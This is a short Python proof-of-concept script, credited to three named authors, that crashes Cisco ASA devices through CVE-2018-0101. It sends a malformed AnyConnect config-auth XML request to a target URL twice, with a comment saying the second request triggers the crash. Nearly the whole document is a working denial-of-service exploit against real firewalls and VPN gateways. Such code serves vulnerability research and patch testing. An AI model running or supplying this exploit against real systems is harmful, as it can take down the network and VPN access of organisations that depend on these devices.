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| 1 | # | |
| 2 | # Cisco ASA CVE-2018-0101 Crash PoC | |
| 3 | # | |
| 4 | # We basically just read @saidelike slides: | |
| 5 | # https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-asa.pdf | |
| 6 | # | |
| 7 | # @zerosum0x0, @jennamagius, @aleph___naught | |
| 8 | # | |
| 9 | ||
| 10 | import requests, sys | |
| 11 | ||
| 12 | headers = {}
| |
| 13 | headers['User-Agent'] = 'Open AnyConnect VPN Agent v7.08-265-gae481214-dirty' | |
| 14 | headers['Content-Type'] = 'application/x-www-form-urlencoded' | |
| 15 | headers['X-Aggregate-Auth'] = '1' | |
| 16 | headers['X-Transcend-Version'] = '1' | |
| 17 | headers['Accept-Encoding'] = 'identity' | |
| 18 | headers['Accept'] = '*/*' | |
| 19 | headers['X-AnyConnect-Platform'] = 'linux-64' | |
| 20 | headers['X-Support-HTTP-Auth'] = 'false' | |
| 21 | headers['X-Pad'] = '0000000000000000000000000000000000000000' | |
| 22 | ||
| 23 | xml = """<?xml version="1.0" encoding="UTF-8"?> | |
| 24 | <config-auth client="a" type="a" aggregate-auth-version="a"> | |
| 25 | <host-scan-reply>A</host-scan-reply> | |
| 26 | </config-auth> | |
| 27 | """ | |
| 28 | ||
| 29 | r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False, allow_redirects=False) | |
| 30 | r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False, allow_redirects=False) | |
| 31 | #You need to do it twice to cause the crash | |
| 32 | ||
| 33 | print(r.status_code) | |
| 34 | print(r.headers) | |
| 35 | print(r.text) |
